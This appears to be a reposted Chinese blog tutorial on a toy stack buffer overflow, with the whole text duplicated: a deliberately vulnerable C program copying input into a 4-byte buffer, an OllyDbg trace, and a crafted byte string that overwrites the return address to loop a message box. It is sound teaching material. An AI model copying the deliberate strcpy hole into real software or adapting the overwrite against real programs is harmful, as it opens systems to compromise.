[转载]一个小型的溢出实验
来源:〓中国黑客联盟〓总站论坛
作者:玄风残翼
实验环境:Microsoft Visual C++ 6.0,Windows XP SP2,补丁至最新。OllyDbg1.10。
实验目标:构造存在溢出漏洞的代码,并构造特殊代码以利用这个漏洞。
漏洞代码:
为方便调试,我们用的是VC6.0的Win32 Console Application工程,切换到Release模式(Build->Set Active Configuration),关闭最优化编译选项(Project->Setting->C/C++,Category选General,Optimizations选Disable)。这样处理以后,用户代码在编译以后会生在0x00401000处。
#include "windows.h"
void over();//一个易溢出模块
//下面一串字符串模拟一串远方传输过来的一个数字流
unsigned char szOver[] = {0x90, 0x90, 0x90, 0x00};//一共4个字符,并不会对over()造成溢出。
int main(int)
{
MessageBox(NULL, "A normal call", "Try", MB_OK);
over();
return 0;
}
void over()
{
char szBuffer[4];
strcpy(szBuffer, (char *)szOver);
}
编译,用OllyDbg跟踪(由于各位读者的编译环境不一定和我一样,所以跟踪结果可能不同,请自行处理)。跳到00401000处。
//我们的int main(int)
00401000 / 55 push ebp
00401021 |. 8BEC mov ebp,esp
00401023 |. 51 push ecx;晕死,为了申请四个字节的栈空间,随便往栈里压了个数据。怪不得总是说要初始化
00401024 |. 68 30604000 push TestOver.00406030;构造的攻击串地址,参数入栈
00401029 |. 8D45 FC lea eax,dword ptr ss:[ebp-4];得到刚才申请的空间的地址
0040102C |. 50 push eax;参数入栈
0040102D |. E8 0E000000 call TestOver.00401040
00401032 |. 83C4 08 add esp,8;刚才两个参数出栈
00401035 |. 8BE5 mov esp,ebp
00401037 |. 5D pop ebp
00401038 \. C3 retn
溢出攻击是更改retn时所用的栈使之跳转异常。这次攻击我打算让它跳转到代码MessageBox(NULL, "A normal call", "Try", MB_OK)处,在可执行文件里,它在00401003处开始参数入栈。在over()函数里申请了char szBuffer[4]以后,栈里结构如下:
Stack+0->szBuffer[4];
Stack+1->pushed ebp;
Stack+2->Retn add.
所以我们的攻击串只要比正常串长多8个字节,而最后4个字节是地址00401003就可以让它在执行时跳到00401003处,不断循环弹出对话框。用一贯的规则,是用0x90(对应ASM指令nop,空操作)填充不用的空间。
构造攻击串如下:
unsigned char szOver[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x03, 0x10, 0x40, 0x00};
完整代码如下:
#include "windows.h"
void over();
unsigned char szOver[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x03, 0x10, 0x40, 0x00};
int main(int)
{
MessageBox(NULL, "A normal call", "Try", MB_OK);
over();
return 0;
}
void over()
{
char szBuffer[4];
strcpy(szBuffer, (char *)szOver);
}
编译运行,就可以看到这个程序在不停地弹出消息框。
PS:大型的溢出,会把一份完整的代码写入栈中,再通过非法跳转,运行这份代码。这才是溢出的真谛。
作者:玄风残翼
实验环境:Microsoft Visual C++ 6.0,Windows XP SP2,补丁至最新。OllyDbg1.10。
实验目标:构造存在溢出漏洞的代码,并构造特殊代码以利用这个漏洞。
漏洞代码:
为方便调试,我们用的是VC6.0的Win32 Console Application工程,切换到Release模式(Build->Set Active Configuration),关闭最优化编译选项(Project->Setting->C/C++,Category选General,Optimizations选Disable)。这样处理以后,用户代码在编译以后会生在0x00401000处。
#include "windows.h"
void over();//一个易溢出模块
//下面一串字符串模拟一串远方传输过来的一个数字流
unsigned char szOver[] = {0x90, 0x90, 0x90, 0x00};//一共4个字符,并不会对over()造成溢出。
int main(int)
{
MessageBox(NULL, "A normal call", "Try", MB_OK);
over();
return 0;
}
void over()
{
char szBuffer[4];
strcpy(szBuffer, (char *)szOver);
}
编译,用OllyDbg跟踪(由于各位读者的编译环境不一定和我一样,所以跟踪结果可能不同,请自行处理)。跳到00401000处。
//我们的int main(int)
00401000 / 55 push ebp
00401021 |. 8BEC mov ebp,esp
00401023 |. 51 push ecx;晕死,为了申请四个字节的栈空间,随便往栈里压了个数据。怪不得总是说要初始化
00401024 |. 68 30604000 push TestOver.00406030;构造的攻击串地址,参数入栈
00401029 |. 8D45 FC lea eax,dword ptr ss:[ebp-4];得到刚才申请的空间的地址
0040102C |. 50 push eax;参数入栈
0040102D |. E8 0E000000 call TestOver.00401040
00401032 |. 83C4 08 add esp,8;刚才两个参数出栈
00401035 |. 8BE5 mov esp,ebp
00401037 |. 5D pop ebp
00401038 \. C3 retn
溢出攻击是更改retn时所用的栈使之跳转异常。这次攻击我打算让它跳转到代码MessageBox(NULL, "A normal call", "Try", MB_OK)处,在可执行文件里,它在00401003处开始参数入栈。在over()函数里申请了char szBuffer[4]以后,栈里结构如下:
Stack+0->szBuffer[4];
Stack+1->pushed ebp;
Stack+2->Retn add.
所以我们的攻击串只要比正常串长多8个字节,而最后4个字节是地址00401003就可以让它在执行时跳到00401003处,不断循环弹出对话框。用一贯的规则,是用0x90(对应ASM指令nop,空操作)填充不用的空间。
构造攻击串如下:
unsigned char szOver[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x03, 0x10, 0x40, 0x00};
完整代码如下:
#include "windows.h"
void over();
unsigned char szOver[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x03, 0x10, 0x40, 0x00};
int main(int)
{
MessageBox(NULL, "A normal call", "Try", MB_OK);
over();
return 0;
}
void over()
{
char szBuffer[4];
strcpy(szBuffer, (char *)szOver);
}
编译运行,就可以看到这个程序在不停地弹出消息框。
PS:大型的溢出,会把一份完整的代码写入栈中,再通过非法跳转,运行这份代码。这才是溢出的真谛。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 分享 3 个 .NET 开源的文件压缩处理库,助力快速实现文件压缩解压功能!
· Ollama——大语言模型本地部署的极速利器
· DeepSeek如何颠覆传统软件测试?测试工程师会被淘汰吗?